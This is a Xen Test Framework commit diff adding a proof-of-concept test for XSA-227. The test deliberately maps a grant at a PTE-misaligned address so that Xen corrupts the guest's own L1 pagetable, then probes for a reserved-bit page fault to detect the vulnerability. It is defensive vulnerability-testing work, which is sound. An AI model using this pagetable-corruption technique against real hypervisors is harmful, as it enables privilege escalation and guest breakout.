]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-227 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Tue, 20 Jun 2017 18:18:54 +0000 (19:18 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 21 Aug 2017 10:52:09 +0000 (11:52 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
arch/x86/include/arch/processor.h
arch/x86/include/arch/symbolic-const.h
docs/all-tests.dox
tests/xsa-227/Makefile [new file with mode: 0644]
tests/xsa-227/main.c [new file with mode: 0644]

index e2a2cbbef2bf2430345f16a5b37518b66cda2f42..2059cfca00863c85c63affc32a2bd5f4abc2355f 100644 (file)
 #define X86_PFEC_INSN     (1U << 4)
 #define X86_PFEC_PK       (1U << 5)
 
+/* Pagefault Error Code - Short form mnemonics. */
+#define X86_PFEC_P X86_PFEC_PRESENT
+#define X86_PFEC_W X86_PFEC_WRITE
+#define X86_PFEC_U X86_PFEC_USER
+#define X86_PFEC_R X86_PFEC_RSVD
+#define X86_PFEC_I X86_PFEC_INSN
+#define X86_PFEC_K X86_PFEC_PK
+
 /*
  * Selector mnemonics.
  */
index 5e52c6aa24a624c0985e3077de540dbdcc721da7..41f97ff7e94a0f5b2f5b9c880a2ab0825155d0bb 100644 (file)
  */
 #define PF_SYM(...) TOK_OR(_PAGE_, ##__VA_ARGS__)
 
+/**
+ * Create pagetable error code based on mnemonics.
+ *
+ * @param ... Partial X86_PFEC_ tokens.
+ *
+ * Eample usage:
+ * - PFEC_SYM(I, U, P)
+ *   - Insn fetch, User access, Present.
+ */
+#define PFEC_SYM(...) TOK_OR(X86_PFEC_, ##__VA_ARGS__)
+
 #endif /* XTF_X86_SYMBOLIC_CONST_H */
 
 /*
index 30a4e2a1570bdf9dec966324eb71b1debadec726..fba9b8f1de2e87cedba990465d81a3aecd63bc23 100644 (file)
@@ -100,6 +100,8 @@ guest breakout.
 
 @subpage test-xsa-224 - grant table operations mishandle reference counts.
 
+@subpage test-xsa-227 - x86: PV privilege escalation via map_grant_ref.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-227/Makefile b/tests/xsa-227/Makefile
new file mode 100644 (file)
index 0000000..f2847e3
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-227
+CATEGORY  := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-227/main.c b/tests/xsa-227/main.c
new file mode 100644 (file)
index 0000000..4902550
--- /dev/null
@@ -0,0 +1,124 @@
+/**
+ * @file tests/xsa-227/main.c
+ * @ref test-xsa-227
+ *
+ * @page test-xsa-227 XSA-227
+ *
+ * Advisory: [XSA-227](http://xenbits.xen.org/xsa/advisory-xsa-227.html)
+ *
+ * For x86 PV guests, the #GNTTABOP_map_grant_ref hypercall allows mapping by
+ * nominated linear address, or by nominating a specific L1e.  However, there
+ * are no alignment checks when nominating a specific L1e, and Xen would write
+ * the PTE at the guests chosen alignment, corrupting the L1 pagetable.
+ *
+ * In this test, a frame is grant mapped in a way which tries to splice across
+ * the L1e mapping the linear addresses at 4K and 8K.  If vulnerable, the
+ * lower flags of the grant PTE end up overwriting the high user-defined bits
+ * of the L1e mapping 4K, with User/Writeable/Present causing reserved bits to
+ * be set.
+ *
+ * @see tests/xsa-227/main.c
+ */
+#include <xtf.h>
+
+#include <arch/pagetable.h>
+#include <arch/symbolic-const.h>
+
+const char test_title[] = "XSA-227 PoC";
+
+static uint8_t frame[PAGE_SIZE] __page_aligned_bss;
+
+void test_main(void)
+{
+    int rc = xtf_init_grant_table(1);
+
+    if ( rc )
+        return xtf_error("Error initialising grant table: %d\n", rc);
+
+    int domid = xtf_get_domid();
+
+    if ( domid < 0 )
+        return xtf_error("Error getting domid\n");
+
+    /*
+     * Construct gref 8 to allow frame[] to be mapped by ourselves.
+     */
+    gnttab_v1[8].domid = domid;
+    gnttab_v1[8].frame = virt_to_gfn(frame);
+    smp_wmb();
+    gnttab_v1[8].flags = GTF_permit_access;
+
+    /* Opencoded pagewalk to KB(4) */
+    intpte_t *l4t = _p(start_info->pt_base);
+    intpte_t *l3t = maddr_to_virt(pte_to_paddr(l4t[0]));
+    intpte_t *l2t = maddr_to_virt(pte_to_paddr(l3t[0]));
+    intpte_t *l1t = maddr_to_virt(pte_to_paddr(l2t[0]));
+
+    /*
+     * Unmap the linear address we are going to mostly clobber.  Reduces the
+     * chance of Xen falling over a refcounting problem.
+     */
+    if ( hypercall_update_va_mapping(KB(8), 0, UVMF_INVLPG) )
+        return xtf_error("Failed to unmap KB(8)\n");
+
+    struct gnttab_map_grant_ref map = {
+        .host_addr = virt_to_maddr(&l1t[2]) - 2,
+        .flags = GNTMAP_contains_pte | GNTMAP_host_map,
+        .ref = 8,
+        .dom = domid,
+    };
+
+    /*
+     * Try to map frame[] to ourselves with a PTE-misaligned machine address.
+     */
+    rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1);
+
+    if ( !rc && !map.status )
+        /* Map call succeeded. */
+        xtf_failure("Fail: Vulnerable to XSA-227\n");
+    else
+        /* Map call failed. */
+        printk("Probably not vulnerable to XSA-227\n");
+
+    printk("Attempting to confirm...\n");
+
+    exinfo_t fault = 0;
+    unsigned int discard;
+
+    /*
+     * Try to use the linear address which was clobbered by the map call.
+     */
+    asm volatile ("1: mov %[ptr], %[res]; 2:"
+                  _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_eax)
+                  : "+a" (fault),
+                    [res] "=q" (discard)
+                  : [ptr] "m" (*(char *)KB(4)),
+                    "X" (ex_record_fault_eax));
+
+    switch ( fault )
+    {
+    case 0:
+        /* No fault => the PTE wasn't clobbered. */
+        xtf_success("Success: Not vulnerable to XSA-227\n");
+        break;
+
+    case EXINFO_SYM(PF, PFEC_SYM(R, P)):
+        /* #PF[Rsvd] => the PTE was clobbered. */
+        xtf_failure("Failure: Got Rsvd #PF\n");
+        break;
+
+    default:
+        xtf_error("Unexpected fault %#x, %pe\n", fault, _p(fault));
+        break;
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */